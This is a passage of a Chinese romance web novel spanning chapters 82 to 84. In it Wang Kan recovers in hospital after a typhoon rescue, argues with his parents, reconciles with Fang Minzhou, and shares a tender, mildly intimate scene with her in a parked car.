多了点悲观情绪,有时会觉得自己渺小脆弱,不过有时也会感到人类的相对伟大。特别是在看到一些建筑设计的时候, 虽然没有成为自己想象中的角色,但小时候的那种震撼和感动一直存在。 他也被救过——被医生、亲人、朋友、自己, 还有某些执念;也算救过人,曾经眼疾手快拉了把走路看手机险些被车撞到的同学之类。 当他得知被埋在凉亭下的人是老林, 那个陪着方敏周回家的老林时, 他吓了一跳, 冥冥之中, 像是终于找到了不详预感的结点, 所以想着必须要把人救出来。 救是救出来了, 树倒下了,他又救了一人——把李叔推开,但自己没来得及。 有那么一瞬间, 王衎怀疑这处风水不好,势必要带一个人走。 那带他走也行。 又不甘心。 动弹不得、意识模糊之际, 很多事很多人在脑海中闪过,大概是传说中的走马灯,但也被大雨淋得七零八落。 一开始挖人的时候, 雨珠打在身上还有些疼,后来手更疼,最后都没了感觉,忽然又觉得有雨水重新落在他脸上,热热的,一滴一滴。 雨变小了。 王衎再睁开眼睛时,入眼一片雪白,他还没来得及想一下这儿是天堂还是医院,就听见有人按铃喊:“医生医生,我儿子醒了!” 几年前,好像也曾出现过这一幕。 王衎勉强笑了下,“……妈。” 他妈一边应他一边流眼泪。 意识归位的同时,头又晕又疼,他往旁边看,看到了方敏周。 他也冲她笑了笑,但视线还有点模糊,她好像也在笑,但他看不清她。努力睁了睁眼皮,看清了,不是梦,她也真的没事,只是怎么笑得这么难看? 他喊她,她走过来,握住了他的右手,王衎这才发现,自己的左手打了石膏。 他爸跟着医生一起进来了,医生说醒了的话基本就没有大碍,但还需要住院观察几天。 于是王衎得知他“运气极佳”,被雷劈裂的树让地上的碎砖破瓦撑了下,他没有被砸到要害,脑震荡和左手尺骨骨折,加上一些外伤。 总之,捡回一条命。 医生离开后,王衎精神不济,握着方敏周的手很快又睡去,再醒来时已是黄昏,他手心空空的,白色的病房被窗外的余晖染成了黄色。 他刚心慌,还好,方敏周很快出现,原来她只是去接了个水。 她问他饿不饿,王衎摇头,他一点胃口都没有,奇怪自己怎么还这么难受,呼吸滚烫,甚至有点喘不上气。 她说他有一点发烧,“吃一点粥吧?不然一天都没吃饭了。” 他又说好,察言观色,趁机小心翼翼地撒了娇,“你喂我?” 方敏周没说什么,把病床摇高,装上简易桌板,再从保温桶里倒出一小碗粥,是炖得烂熟的瘦肉青菜粥。 王衎目不转睛地盯着方敏周忙碌,第一次被她这样照顾,感觉很新鲜却又觉得莫名熟悉,好像他一直在等这样的时刻,虽然要以生病受伤为代价。 她把吹凉了的一小勺粥递到他嘴边,王衎张嘴乖乖吃了,眼睛始终放不开她,而方敏周垂着眼,有意避免看他的眼睛,或者被他看到眼睛。她看起来平静耐心,但身上笼着一股薄弱的水汽,就像病房里若有似无的消毒水气息一样。 一口一口,王衎把那碗粥都吃干净了。 然后他问方敏周吃了没,她点头。他又问吃了什么,她说了几道菜,他评价了句吃得不错,她笑了下,说等他出院了带他吃饭。 王衎的心被牵动着,相信方敏周不是在敷衍他,可是这样的承诺,为什么会有一种药的苦涩。 眼皮越来越困倦,还有很多话想说,可说出来,又还是些轻的东西,“粥你煮的吗?味道挺好的。” “我让我妈煮的,我做饭不好吃你又不是不知道。” 他靠着床,“……阿姨也知道了?” 方敏周默了默,“我和她说了下。” “我没事。” “嗯,我知道。” “你做饭不好吃,那在国外的时候怎么办?” “还好。”方敏周抬起头匆匆对他又笑了下,“也没有那么难吃吧。” “方敏周。” “嗯?” “你这么温柔我都有点不习惯了。” 这句话让方敏周沉默的时间长了点,她背对着他,不知道在收拾什么,再转过身来时,依然看不出异样,还能开玩笑:“我对你有那么坏吗?” “你不要可怜我。” 她说她没有,帮他把床放平,摸了摸他的额头,“困了?睡吧。” 王衎应了声,握住方敏周的手。 什么时候睡去的不知道,梦里总觉得又有热热的雨水落在他脸上,后来才反应过来,大概是眼泪,是谁的眼泪? 他睁不开眼睛。 再醒来又是白天,而且已经是隔天的下午。 王衎感觉自己好了不少,但方敏周不在病房,取而代之的是他爸。他想起昨天的梦,摸了摸自己脸,是干的。 虽然父子俩先后都经历过生死关头,但彼此关心起来还是那么几句。 “我妈呢?” “去找医生了,等会就过来。” “方敏周呢?” 他爸看了看他,“人守了你一个晚上,我们让她回家休息一下。” 王衎点点头。 他这才发现他爸换了身衣服,也剃了胡子,比昨天他刚醒来的模样精神很多。大概是因为之前生病,他爸这几年瘦了许多,尽管有时候一言不合还是会大小声,但整体性格也平和了许多。 洗漱完,王衎开始吃他爸带来的饭。他妈做的,有鱼有肉有菜,营养挺均衡的,就是味道一如既往的一般。 他吃爸妈做的菜的次数两只手就能数过来,小的时候羡慕过其他小孩回到家都有热菜热饭吃,但长大了一点后,真让他吃,他也不喜欢。他不懂为什么家族里其他人做饭都挺好吃的,甚至包括他自己,但他爸妈却不行。 以前挑嘴的时候被他爸锤头,说他们在外跑来跑去的,一般都是随便应付几口,他这有的吃还嫌弃,他愤愤不平,这几年才明白应付几口是什么意思。 他爸也开始吃饭,但是是外头买的红烧肉盖浇饭,红烧肉油光红亮的。 王衎精神恢复了,胃口也回来了,很没好气地说他爸不厚道,自己吃香喝辣,“医生让你吃这些吗?” “这有什么不能吃的?我又不是三高。”他爸说,“给你闻闻味道,看你还逞不逞能。” “你自己年轻的时候不也抓小偷抓得进医院?”王衎说,这是他爸同他吹过的牛。 毫无征兆地,他爸突然把筷子一拍,“那能一样嘛!” 声音大的整个房间都震了震,还好是单人病房。 王衎没了话,继续吃饭。 气氛掉入僵硬,如果不是他卧病在床,王衎毫不怀疑他爸要打他一顿。 他爸上一次揍他还是他读初中的时候,为了什么,王衎都忘了。胃出血住院那次他爸身体还没好全,他妈瞒着他,后来再知道时,事情已经过去很久,他算是“逃过一劫”。 好一会儿,他爸木着脸重新拿起筷子,开始教训他:”王衎,你今年几岁了?快三十了吧。“ 王衎:”……我二十七周岁都还没到。“ “也差不多了。” 王衎:“……” “你救人没错,是这个,”他爸比了个大拇指,“但你脑子呢?你知不知道我们接到医院的电话时候什么心情?你妈吓得……” 陈红珊刚巧打开门进来,王坤涛阴沉着脸住了声。 陈红珊高兴地传递医生说的好消息,见父子俩都反应平平,才问了句刚才在聊什么呢,王坤涛不由得再度开口,语气严肃:“我想问他,台风天为什么要在外头跑来跑去?你是有工作,还是什么要紧的事情?三岁小孩都知道台风来了要好好呆在家里面,你呢?” 陈红珊的笑也慢慢淡下去,她在一旁的椅子坐下,顿了顿,语重心长地说:“王衎,我们一直和你说,身体最重要,你自己一个人在外头,要小心要小心……” 王衎夹了块鱼肉,心下恍然原来是要说这些。 只看结果,他就是碰巧救人不幸受伤,按理应当表彰。爸妈这么不高兴,大概是因为得知他去双溪是去找方敏周,那么这就变成了一场无妄之灾。 王衎理解爸妈的紧张和害怕,“我挺小心的,这次就是意外……” 陈红珊忽然也提高了音量:“这是意外吗?你好好待在家里会有事吗?” 王衎不以为然:“那有些人就是待在家里,房子也可能塌了。” “王衎,你不要这时候还和我不三不四的。”陈红珊生了气,“我让你待在自己的家里面,那样子墙塌了屋顶塌了,我也认了,我们倒霉,但你呢?跑到乡下不够,台风来了,你还要跑出去……你知不知道每年台风季有多少人……” 有些话要避讳,陈红珊不敢再说下去,却听王衎淡淡地说:“我怕她出事。” 这个理和王衎怎么就说不通呢?陈红珊刚要继续,王衎扫了他们一眼:“你们是不是说方敏周了?” 她猛然噤了声。 那天在电话里听到“方敏周”的名字,她本来很期待,也很感慨两个人的缘分,怎么也想不到,再见面会是在医院。 说是没有说的……但从方敏周还有其他人口中得知意外的经过,焦急万分的时候,实在很难不怨怪。万一出了什么事,谁来担责任?可说到头,还是王衎自己鬼迷了心窍! 女孩子满怀愧疚地说对不起,眼睛都哭红了,但那个时候,陈红珊真的一点也不想看到她,忍着怒让她先回家去,她不愿意,但安静地避开他们的视线,就是她躲在楼道里——想到这,陈红珊就重重地叹了口气。 “你觉得,是我去找方敏周,所以受伤,甚至差点死了……” “呸呸呸。”陈红珊急道,“胡说八道。” 王衎一点也不怕,“但实际上,我没事,只是一点小伤,我还救了人,按你们的说法,救人一命胜造七级浮屠,大难不死必有后福,我这是给自己积福,我不去找方敏周,就没有这个福气,你们不应该生她的气。” 他妈大概从未如此想过,听得呆了,震惊和他爸对看了一眼。 “而且,她让我不要去找她了,她什么性格、我什么性格,你们不知道?怪她干嘛?是我硬要去找她的。”王衎顿了顿,“总之你们不要生她的气,这让我很难受。” 陈红珊已经不知道该说什么了,她明明是很喜欢方敏周这个小姑娘,第一眼看到就喜欢,知道王衎和她交往的时候多高兴啊,她对王衎的好她都知道,难得觉得自己儿子有眼光。 可是他们分手,偏偏是在他们家出事的那个节骨眼。 王衎说她不知道,她也不敢全信,想来想去,还是他们当父母的错,拖累了孩子,可是后来看王衎拿烟酒不断地折腾自己,做父母的一心疼,难免有失偏颇,现在再听王衎这样维护,陈红珊心里说不出的难受:“……儿子,你心里是不是一直有点怨我们?” 王衎筷子微停,坦诚:“以前的时候有点吧。” 他爸像是被他踩到了脚,“王衎!” “爸。”王衎头又有点晕起来了,“我和妈选一个,你选谁?” 他爸一愣,眉毛竖起来,王衎觉得他巴掌真的呼过来了,他转而问了他妈同样的问题:“我和爸选一个,你选谁?” 看着惊讶疑惑似乎要打算找医生的爸妈,王衎笑了笑:“我以前有段时间真的恨过你们。” 然而“恨”这个字眼,其实也并不准确,小孩子懂什么是恨吗? 那种希望和失望、喜欢和讨厌、幸福和痛苦夹杂的情绪,他不知该如何形容,而这个字眼显然震住了他的父母。 “王衎!你他妈的……” 王坤涛觉得自己的心脏都要被气病了,陈红珊连忙过去给丈夫抚拍胸口。 王衎知道他爸只是雷声大雨点小,不紧不慢地继续吃饭,“你们忙着赚钱,把我扔给外公外婆,小学扔进寄宿学校,但每次见面的时候又对我很好,给我钱,我想要什么东西都给我买,不管我学习好坏,说只要我开心就好,对我也没什么期望——这让我觉得自己很废物。” ——一点也不被需要。 不过现在想想,当父母也真是件难事。 “但是呢,”王衎换了语气,“后来你们让我想通了一件事,那就是伴侣比孩子重要,这也是为什么我小时候特别想要你们回家,因为看到你们感情好,我就很开心很幸福,我觉得这是对的,我也想要有人一直陪着我。”王衎拨了拨碗里的米饭,“我就想要方敏周陪着我,所以你们不要再说她了。” 半晌,王坤涛沉声:“你现在说这些,当初为什么要分手?是你提的分手吧?碰到一点事情,你就害怕了,我们家就算把厂子卖了,再穷能穷到哪里去?你自己没有担当,害怕人家跟着你过苦日子,现在说话又硬气起来了,你救的人也不是她,人家要是不愿意?你是打算一辈子一个人了?” 王衎皱眉”哎哟“了声,真想提醒他爸一句他现在还是病人,“您能盼我点好吗?所以我现在躺着了啊。” 轻轻的一声呜咽,他妈哭了。转过身掩面,脊背微弯。 王衎停下筷子,再也无法装模作样。 昨天方敏周也是这样背对着他。 王坤涛深呼吸了一口气,上前把妻子搂进怀里往门口走去,离开前转头瞪向王衎,厉声警告:“等你好了,看老子不把你揍一顿。” 王衎嘴角微动。 王坤涛怒气冲冲地打开门—— 门外,徐冉惊慌失措,想逃,但已经来不及,只有举起一只手,尴尬笑道:“外公外婆……我来看看我舅……” 第82章 第 82 章 先出后进,往旁边让…… 先出后进, 往旁边让步,送脸色僵硬的外公丈和极难为情的外婆离开。说起来,舅舅的爸妈其实还很年轻, 徐冉每次叫他们外公外婆都觉得怪怪的。 她走进病房, 看见她舅舅调侃她:“偷听大人说话。” 徐冉被说中, 心虚地把手里的果篮和保温桶往桌上一放, 狡辩:“……我是无意间路过。” 外公外婆可能还会觉得她没听见什么, 她舅倒是毫不掩饰。 王衎没追究,“还带果篮干嘛?吃不完了。” 徐冉一默,“……我妈让我带的, 那你要不要喝汤?” 她把保温桶打开,香味瞬间充满了整个房间, 王衎说:“你怎么知道我想喝排骨汤?” 徐冉在心里说,她不知道, 这是敏周姐姐带来的汤, 但她不让她说。 她通过了面试, 前不久已经开始线上工作, 之前旁敲侧击地打听过敏周姐姐和舅舅的进展, 敏周姐姐不怎么说, 她也就认真安心工作了。 她听她妈说舅舅住院了,她来探望,刚才在楼下偶然遇见敏周姐姐, 惊喜地以为她和舅舅复合了,但敏周姐姐只是笑了笑, 把话题引到她的学习和实习上,她也就又不敢再问。 等走到病房门口,却听见了意外的争执, 即使前文不明、声音模糊,但不难猜出全貌。 她尴尬只想原地遁走,紧张担心地看敏周姐姐,走廊尽头的白光模糊了她的脸,她站着,像没有裂缝破绽的瓷瓶,仿佛里头谈论的人不是她。徐冉一时恍惚,随后想起来这种似曾相识的感觉从何而来:之前实习面试,敏周姐姐也是如此。 后来她把手里的保温桶递到她手中,用口型无声叮嘱她几句,徐冉犹犹豫豫还想挽留,几乎下一秒,她外公就破门而出了。 虽然她家亲戚间感情深厚,但到底隔了一层,徐冉觉得自己听到了不该听到的秘密。 不同于小时候给舅舅和敏周姐姐打掩护,那时候她对“秘密”毫无认知,把那当作吃喝玩乐的砝码,如今已不再是毫无负担的年龄。 虽然她和王衎关系亲近,可也仅限于舅舅和外甥女的范围内,他们见面会斗嘴,有事会互相照应,但不会彼此讨论烦恼,至少王衎没有向她倾诉过。 她看着王衎喝汤,他不知道以前没觉得,现在发现她其实一点也不了解这位小舅舅,就像她其实也并不了解敏周姐姐一样。 王衎察觉到徐冉的目光,问过来:“怎么了?” 徐冉沉默。 她又发现自己其实没比小时候长进多少,也许是舅舅养成了她的习惯,至少在敏周姐姐的事情上,她觉得应该由王衎主动提出条件。 他不问,她也不说,突然就甩了个招聘海报给她,如果真的是派她去敏周姐姐身边做卧底,怎么也不问问她面试结果怎么样? 想起来,那时候他说过,如果简历通过了,和他说一声,但她没放在心上,忘记了。 “……之前你发给我的那个实习,”徐冉说,“我面试通过了,忘了和你说。” 王衎应了声,之前的猜疑得到了证实。 看徐冉又不说话,王衎补了句:“恭喜?” “……”徐冉忍不住,“你知道那是敏周姐姐的公司?” “嗯。” “那你……” “你不是很想她吗?” 徐冉愣住,半晌,鼻子发酸地应了声,迟钝地反应过来,“我和她说了外公生病的事情,你是不是本来不想我说啊。” “那也没有,不过没想到你能通过面试,我还以为她们公司筛人很严呢。” 徐冉被舅舅一句话搞得破功,“什么啊,我很厉害的好不好?” 王衎笑着应了声。 徐冉觉得以前的那个舅舅好像又回来了,她喊:“舅舅。” “嗯?” “你这汤,是敏周姐姐煮的。” “我知道。” 徐冉诧异:“你怎么知道?” “你猜。” “……” 徐冉想起很多年在肯德基的某个午后,趁着敏周姐姐去洗手间,舅舅用额外的圣代贿赂她,教她等会要跟敏周姐姐说的话,“就说,姐姐,下周我也想和你一起学习,知道了吗?” 她挖着圣代点头。 “人呢?”王衎问了句。 徐冉说走了,怎么走的,也说了。 王衎平静地应了声,徐冉却心头直跳,她没待多久就走了,走到门口的时候脚步放缓,故意留了一条门缝,看到她舅舅立刻拿出了手机,脸掉了下来,她撇撇嘴,带上门。 电话很快却拨通,却没有人说话。 方敏周很快接了,他们之间却陷入了沉默。 台风过境,气温重新攀高,实际已经快要立秋,此刻窗外天边还有遥遥的霞光,偶尔几声鸟叫,王衎胸口的那股郁气,说不上来是散了还是化了。 心静下来,似乎能听见电话那头方敏周的呼吸声,轻轻的、浅浅的,近在咫尺一般,实则相隔千里。 “方敏周。”他点名道姓,“你又躲起来了?是不是又要给你时间考虑考虑?” 方敏周没说话。 “要是今天我是死了的话,我爸妈不让你来看我,你是不是也就在外头看一眼就走?“ “王衎,”方敏周的声音传了过来,“你知不知道说话要避谶?“ “我不会写‘谶’这个字。” 王衎觉得自己是说了句幽默话,但方敏周没反应,他猜她可能是生气了,换做以前,她一定是要教训她的。 他忘了问这是几楼,看着楼层不是太高,有小鸟在两棵树的头顶跳来跳去。 他想起不久前他妈的那三声呸,念词一样,照猫画虎也啐了三次,啐完他自己都觉得搞笑,可方敏周仍不为所动,王衎问她:“这样还不行吗?” “你是来双溪找我,又是为了找我出门,那天雨太大,所以我到附近邻居家里躲了会。”方敏周说,“确实是我害你受伤,你爸妈说的没错,你不要和他们吵架。” 今天天气这样好,那天的雷暴恍如隔世。 “所以呢?” “……什么?” “你这样就要和我分手了?这次换你提分手是吗?” 电话那头方敏周像是无奈地笑了声,“不是啊,刚才那种情况,撞见多不好意思,我避一下而已。” 王衎闻言冷静了点,但回过神来,又觉得不对劲,“那我这里现在没人了。” “我已经走了。” “你骗小孩呢?” 方敏周抹了把脸,无声地笑了笑,她抬起头,暮色四合,病人和家属来来往往地在小花园里散着步。 “我说真的,你现在在哪?” “我明天再来看你。” “为什么现在不行?我想见你。” 方敏周坐在长椅上,背负着太阳落山的天空,用力咽下喉间的哽咽:“我会哭,我不想让你看见我哭的样子。” 就像她其实很害怕看到他躺在病床的样子。 王衎没了声,过了会,轻声问她:“那明天什么时候?” “早上吧。” “那明天,就算我爸妈在,你也不会逃跑吧?” “不会。” “我不知道你刚才听到了多少,但我爸妈说的那些话,你不用放在心上。” “我知道。” “别哭了。” 方敏周笑,眼泪却止不住,“好。” “你还记不记得高二那年春游?” 方敏周愣了愣,没明白王衎为什么突然提这个。 “走吊桥的时候你在我面前掉下去——这件事我一直记得,因为我觉得……很恐怖,万一你真的出了什么事,当时的我根本救不了你。” 方敏周想起了那天松树林后王衎红红的眼睛。 “我找你是真的,因为我害怕,但也是为自己找个心安,当然,换成其他人联系不上,我也会去找,所以我受没受伤和你真的没有关系,你也不用为这以身相许。” 以前三五不时就开玩笑让她对他负责的人,现在反而把责任说得这么清楚,为什么?担心她的愧疚更甚更重吗? “王衎,如果是我因为你受伤,你会不会很难受?”方敏周无法不让眼泪流下,但努力维持着声线的平稳,状似轻松地说,“所以让我愧疚一会吧,没事。” “我不想你愧疚,我想你更喜欢我一点。” “我是喜欢你的。” “是吗?” “嗯,我爱你。” “你爱我。” “嗯,我爱你。” 好一会儿,她听见王衎轻轻笑起来,“方敏周,这好像是你第一次说我爱你。” “是吗?”她也反问,“那以后我多说几次。” 但其实,她在心里说过很多次。 很多次很多次。 “不用,这样就够了。”王衎说,“说少点也没事,物以稀为贵,”他顿了顿,“明天早点过来。” “好。”她答应。 电话挂断后,方敏周在长椅上默默又坐了一会。直到天色发暗,她的眼睛和脸颊都被风吹得紧绷干涩,才站起来,准备开车回家。 几步外,却是王衎的妈妈。 方敏周听见自己内心阵阵的雷声,但她不得不强撑起笑容,喊道:“……阿姨好。” 陈红珊望着眼前的年轻女孩,慢慢的,感到一股哀伤,她摸了摸自己眼角,“来看王衎吗?怎么不多休息一会?” “休息了,我妈煮了汤,正好碰到徐冉,我让她帮我把保温桶带上去了。” “这样啊,没上去?” “……明天吧,现在也晚了。” 陈红珊点了点头,“现在回家吗?饭吃了没?” 方敏周感觉到王衎妈妈放软的态度,她不由得也放松了一点,说还没吃,回家吃,“……阿姨你呢?” “我已经吃了,现在回家里拿点东西。” “……你有开车吗,我送你?” “方便吗?” “方便的,我也没什么事。” 上了车,紧绷的气氛并没有好转,但因为感觉得到王衎妈妈在试图调和,方敏周还是能表现得比较自在。 她问她地址,但王衎妈妈说了后,方敏周稍微愣了下,她原本还以为他们还住在之前的小区。 陈红珊看出方敏周的意外,“之前那套房子前几年卖掉了。” 方敏周干巴巴地应了声。 “那时候家里厂子效益不好,要用到现金,凑不出来,就只能卖了,挺舍不得的,王衎一直拖着,但没办法。”陈红珊说,“不过现在好很多了,就是这几年王衎比较辛苦,有些事情,你可能也知道了,你呢,这几年怎么样,还好吗?” 方敏周说她挺好的,把她的近况告知。 陈红珊点着头,说起了以前的事,从他们大学到高中,再到王衎的小时候。 方敏周莫名地有点不敢听,却又贪婪得听着。 王衎很调皮捣蛋的一些事,她听他本人颇为骄傲地提过,但爱哭鼻子的那些她都不知道,而王衎妈妈说这些,不像是说给她听的,更像是自己陷入了回忆。 正值晚高峰,但王衎的新家离樟城一医不远。车子停下,王衎妈妈再度同她道了谢,她说没关系。挥手道别时,王衎妈妈又喊她:“敏周。” 透过车窗,方敏周有点紧张地应了声。 “阿姨要和你说声对不起。” 方敏周怔然,以为已经哭干了的眼睛再次泛酸。 “有空来家里吃饭。”她笑着对她说。 “……好。” 直到看不见王衎妈妈的身影,方敏周才重新启动车子。 她没有立刻回家,而是凭着记忆,开到了王衎家之前的小区。她把车停在小区外,随着住客过了门禁。 樟城这几年的发展日新月异,但住宅楼的变化都不大。她还记得王衎家在几栋几楼,从电梯出来,那扇门上贴着春联。 记得还很小的时候,方敏周家里贴得是手写的春联,时间久了会褪色,但现在家家户户更多用的都是塑料薄片,不管过去多久,都崭新如初。 也是小的时候,方敏周看动画片,最想要有一扇任意门。 后来她打开过很多扇门,门后并不一定美好灿烂,但确实总是新世界。她从没有想过,未来的有一天,她会对着一扇不敢叩响的旧门哭泣。 她曾经对王衎说,她感谢他提了分手,没有蹉跎两个人的感情,她是真心实意说得这番话,但那时候有多真诚,现在就有多后悔,在他最难的时候,没有陪在他身边。 站在黑暗的过道里,她想,就这样让她再哭一会吧。 她已经很多年没为王衎掉过眼泪了,因为发了誓,在以为一切都再也回不到从前的时候。 第83章 第 83 章 王衎在医院又住了两…… 王衎在医院又住了两天, 生日很不幸地也在医院度过。 这两天方敏周确实说到做到,但是……之前他和他爸妈呛,说他这是值得表扬的行为, 结果不知道是哪里走漏了风声, 居然真的有记者跑来采访。 他可以拒绝采访, 但不能拒绝其他探病的人。 他住在樟城的医院, 贺温纶带人从江城跑来看他, 结果被他的拒绝的采访都找上了贺温纶,贺温纶还坦然接受,用他的话说, 难得的宣传露脸机会,不用白不用。 双溪镇里也来了人, 李文书只摔了一跤,摔得是有点狠, 但基本没事, 在他床前哭了一番, 搞得王衎都不好意思在床上继续坐着。 等李文书情绪稳定了, 他才问了下林叔如何, 一旁的村长说抢救及时, 没事,“但再晚点就不好说,可能截肢”, 听得周边人倒吸一口冷气,转而更加夸耀他的英勇。 王衎也只有接受。 来来去去的, 搞得他都没什么能和方敏周独处的时间,他们的事大家倒都知道了,他们像一对新人一样收到了很多祝福, 这又让王衎觉得多来点人也未尝不好。 不过私底下版本如何,他就不知道了,郑彦航调侃他“豁出去了”,他有解释,但好像没什么用。 最后迎来的独处时间,是双溪镇的市集要开始布置场地,方敏周开车带他过去,车程大约一个半小时。 车内没王衎想象中的轻松愉快,也许是因为方敏周开车太谨慎,轻易不嬉笑,也许是车窗外灰扑扑的天色,马上又要下雨,也可能是两个人还在磨合期。 王衎起初看风景,中间忍不住看方敏周几眼,因为她表现得过于平静,他从斜眼瞥她到后来干脆歪着身子盯着她看。 方敏周始终握着方向盘、望着前方。王衎经常被她表面上的云淡风轻蒙骗,却又因为屡屡上当而愈发沉迷于猜测,受气,却也有觉得好玩的时候。 此刻说不上是前者还是后者,他恶意地用露骨的眼神看她,把方敏周全方位的放置于他的目光之下:她的头发长长了,剪去了闷青色的发尾,及肩的黑发垂在脸颊两侧,露出从额头到鼻尖再到下巴的轮廓。 坐同桌时他最常看她的侧脸,那时方敏周惯常把头发扎起来,露出耳朵和一小寸延伸至衣领的脖颈,皮肤莹白,耳后落下黑色碎发,像画框里静静的人。 他一直偷偷觉得这一幕很美,大概是因为除去欣赏的成份,多少也感到了一些难以启齿的诱惑。 “能开广播吗?”他问。 “可以。” “你开车都不听歌了?” 方敏周顿了顿,“不习惯。” 她本来就难以一心两用,读书的时候,边听歌边写作业会走神,后来边开车边听东西对她来说,也是让她觉得很危险的事情,但当时王衎要听,她也没关系,只是后来分手后,她就不怎么听歌了,因为太多歌都在王衎的歌单里听过。 注意到王衎动作微滞,她说,“你放吧,没事。” 王衎随便选了个电台,音量调得很低,几近于无,甚至听不出是男主持人还是女主持人在说话。窗外的天越来越黑沉,雨水一开始也是如此微弱地飘下来,慢慢的,雨丝越来越密。 雨声渐渐大过了电台主持人的声音,落在车顶发出轻微的“砰砰”声。 “雨下大了。”王衎说。 方敏周应了声。 “我要和你确认一下,我们现在是重新在一起了吧。” 方敏周像是奇怪地看了他一眼。 “那现在这是什么情况?” “什么什么情况,我在开车。” 行吧,“但我这样很无聊。” 方敏周忍不住笑了下,“那怎么办?你来开车?” 王衎:“……” 他玩似的,伸长右手戳了戳方敏周的脸,方敏周岿然不动,他又戳了一下。 方敏周依然没反应,但话说得很可怕,“你不怕出车祸的话。” “坐你的车我一百个放心。” 方敏周瞥了他一眼,“坐好。” 王衎扭过肩膀,坐正了。 看着前方的路,王衎又歪过脑袋,一本正经地问:“等会到了民宿,我睡哪个房间?” 方敏周心下一惊,手还是稳的,心想王衎真的是不怕死,真想出车祸? “你之前那个房间。” 王衎挑眉,没抗议。 他突然又不闹腾了,方敏周不确定他有没有生气,犹豫着,问了一个一直没问的事情:“我大学毕业拍毕业照的时候,你是不是来我学校了?” “你听谁说的?”王衎说完,反应过来,不满地啧了一声,看向窗外,“以前没觉得徐冉是个漏勺。” 方敏周没跟着他一起批判徐冉,“你那时候为什么不找我?” “看你和那个学长嘻嘻哈哈的,看得生气。” 方敏周默了默,“我没有嘻嘻哈哈。” “你觉得没有就没有吧。” 方敏周疑心自己是不是不该提起这个话题,王衎说的气话,但看起来好像也没有很生气。 提都提了,她组织好语言,慢慢开口,把该说的都说给他听:“他知道我和你分手后——不过我不知道他是怎么知道的,我后来确实有感觉到过他有暗示,但因为我不喜欢他,没有回应,慢慢也就没有联系了,不过因为是一个学校的,又是一个社团,这几年校友聚会有吃过一两次饭,其他就没了。” 王衎看过来,“所以我当时的直觉就是对的,你还说我乱吃醋。” 方敏周顺着他应了声。 王衎又想起一些旧账,“你和他同学聚会,然后避着我。” 这个锅方敏周就不想背了,“你不一样?” 王衎张了张嘴,没说话,重新看向窗外。 “你后来还有没有找过我?” “没有。” 他说完,没再等到方敏周下一句话,窗户上布满雨水,也看不清她的脸。王衎只有再扭过头,方敏周也瞥过来一眼,他到底没说,转而问:“还有没有什么没聊明白的?” 有,但方敏周摇了摇头,“你生日,有什么想要的礼物吗?” “之前的你补不补?” “可以啊,你要什么?” 王衎咽下几乎脱口而出的答案,“……我想想。” “行。” 雨越来越大,大到影响视线时,车子已经开进了双溪镇,方敏周把车停在竹林和稻田之间的一小片空地上。 雨刷停止摇摆,有树叶遮挡,玻璃窗上水帘的流速慢了些,映着波澜的绿影。 方敏周把手从方向盘上放下来,解开安全带,看了看手机,天气预报显示半个小时后雨会变小。 她问王衎要不要喝水,不等王衎回答,就探身到副驾驶座的手套箱。两瓶水,先拧开其中一瓶的瓶盖后递给王衎。 王衎握了握手中的矿泉水瓶,抿嘴喝了一口。 一时间,没有开灯的车厢内只能听见雨水拍打车顶。 方敏周调大了广播的声音。 王衎听了会,觉得没什么意思,连上了自己的蓝牙。 第一首就是方敏周熟悉的,看来他的听歌口味这几年也没怎么变。她一边听,一边低头观察王衎打着石膏的左臂,再抬起眼,于一片昏暗混沌里与他四目相对。 王衎心跳得比车外的雨点还快,他刚想要开口问方敏周,能不能吻她,她的气息先靠近过来,然后眼前微暗,嘴唇感到一片微微颤抖的温软。 雨水倒流般,世界瞬间安静,像是烟花腾飞在天空炸裂的前一秒。 方敏周搂住了他的脖子,轻轻地吻他,一下、一下。 雨水重新暴注,密集的雨声中,她错拍的吻叫王衎回过神来时也乱了阵脚,饿极了般本能地回咬她,直到唇舌交缠,才在湿润中渐渐尝到了滋味。 懊恨只有一只手,握住腰,王衎把方敏周捞到了自己身上跨坐。久旷的体温和触感,感官在逼仄的环境中过载,急促的喘息盖过了雨声。 欲望唤醒了记忆,记忆让人幸福,又让人想起痛苦,王衎眼眶发热,右手从方敏周的衬衫下摆伸了进去,摸她的呼吸,感觉有湍急的水流在他的手心。 他是昏了头了,但尚存一丝理智,手指在内衣背扣处流连,迟迟没有解开,却没想到方敏周更加胆大,当他的皮带被解开时,王衎浑身一顿,喉结滚动:“……你要在这?” 方敏周没说话,点点头,继续亲他,她两只手比他的灵活,同样摸进来,王衎闷喘着握住她的手,握紧了。 方敏周挣了挣,没能挣开,王衎用舌尖舔舐她的脸,尝到了眼泪的味道。 王衎听过一个说法:伤心的眼泪是咸的,高兴的眼泪是甜的。他信以为真,后来才发现所有泪水都是咸的。 他愈发觉得在做梦,这个梦比眼泪更易碎,他不敢看是谁的眼泪,只笨拙地抱着方敏周亲她,切切实实地感觉她在自己怀中,直到眼泪似乎都被舔干净了,她也不再颤抖,放松地趴在他的身上,他们呼吸在一起一伏间趋同,像两道叠加的波浪。 她头埋在他的脖颈处不肯起来,声音闷闷的,羽毛似得拂过他,“王衎。” “嗯?” 她又沉默,过了会,又喊:“王衎。” “嗯。” 她再度沉默。 这次沉默得更久,久到王衎以为她不会再说话时,她的呼吸再度拂过他的脖颈:“你根本不知道我有多喜欢你。” 王衎心头一震。 他应该要雀跃得跳起来吧,可是奇怪地又尝到了眼泪的味道。 “我要认真地和你说一次,我的喜欢,不比你的少。”方敏周呢喃般地说,但一字一句,清清楚楚,“真的。” “我知道。” 方敏周摇头。 他根本不知道。 王衎重新去寻方敏周的嘴唇,绵绵的雨声里,他听见涛声从远方传来,海水也是咸的,眼泪是一片小小的海。天地昏暗,一如十八岁在海边的那个夜晚。 第84章 第 84 章 雨变小了,…… 雨变小了, 乌云变薄,天色也跟着透亮了些。 没有做到底,炙热喷薄的欲望在温存中慢慢被默契克制, 彼此拥吻着, 像含了一颗硬糖果, 不能着急咬碎, 要耐下心含吮, 让甜味沾满整个口腔。 方敏周撑着王衎的胸膛起来时,她的眼睛红、鼻子红、嘴唇也红,王衎看着她笑, 无言的对视间,方敏周也笑了笑, 看她有点不好意思,王衎的手按在她的腰上, 直起身探脑袋, 搂着人又亲了亲。 夏季衣衫单薄又贴得紧密, 起起伏伏, 陷入了饮鸩止渴般的陷阱中。手机铃声乍然响起, 两人皆是一震, 嘴唇才再分开。 “……马上就到了。”方敏周同外婆说。 回话间,她还坐在王衎腿上,人冷静了些, 听着外婆的声音、看着王衎的脸,特别是他湿湿的眼睛和红肿的嘴唇, 